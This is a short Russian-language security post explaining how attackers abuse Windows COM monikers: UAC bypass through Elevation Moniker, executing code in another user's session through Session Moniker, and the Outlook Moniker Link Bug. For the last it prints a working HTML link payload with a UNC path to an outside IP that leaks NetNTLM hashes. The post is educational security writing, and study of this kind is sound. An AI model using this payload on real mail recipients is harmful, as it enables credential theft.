Офенсив моникеры.
Внутри систем Windows существует один интересный механизм под названием моникеры. Моникеры представляют собой отдельную сущность в COM. Они позволяют идентифицировать конкретный COM-объект (или даже полноценно его реализовывать) в виде простой строки. Просто одной строки :)
Это удобно, как минимум потому, что тебе не нужно знать CLSID (который, кстати, может меняться). Достаточно разве что нужной строки.
Впрочем, как и любой другой функционал винды, моникеры активно абузятся атакующими. Я нарыл три варианта злоупотребления:
1. UAC Bypass. Отдельный класс моникеров - Elevation Moniker. Они позволяют инстанцировать объекты в процессе с более высоким уровнем целостности, что и приводит к обходу UAC. Эти объекты достаточно легко найти. И есть даже инструмент MonikerHound для обнаружения подобных объектов. Примеры UAC Bypass с помощью Elevation Moniker можно найти тут и тут. Подробное описание можно найти в статье на хакере.
2. Кража сессий. Существует Session Moniker, позволяющий инстанцировать COM-объект внутри чужой сессии. Так мы можем с помощью Session Moniker создать в чужой сессии объект с методом
ExecuteInCmd()
, вызвать его и исполнить код в чужой сессии. Пример кода мы публиковали тут. А о внутренней реализации Session Moniker (фактически, что у IHxExec под капотом) я писал тут. Наконец, в только что вышедшей статье на хакере глянули еще способы абуза сессий через COM.
3. Утечка NetNTLM-хешей. Не так давно в Outlook был баг: Moniker Link Bug. Его использование позволяло сделать утечку NetNTLM-хешей при добавлении HTML-тега в письмо:
<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>
Как это работало? Строку
\\10.10.111.111\test\test.rtf!something
до знака ! Outlook воспринимал как файловый моникер (то есть, COM объект как бы представлен в файле), а
something
как Item Moniker (это вообще COM-объект в некотором контейнере, внутри клеток таблицы Excel например). При этом, если бы в теге висело просто
\\10.10.111.111\test\test.rtf
, то это был бы обычный путь, а не моникер :)
Соответственно, Outlook начинал парсить эту строку, получал моникер и пытался обратиться по пути для инициализации File Moniker, что приводило к утечке NetNTLM-хеша. Подробнее про эту багу можно почитать тут.
Если уж прям совсем честно говорить, то Outlook видел файловый моникер на .rtf файл и в фоне запускал процесс Microsoft Word, который уже пытался открыть файл по UNC-пути. И именно из него летели хеши :)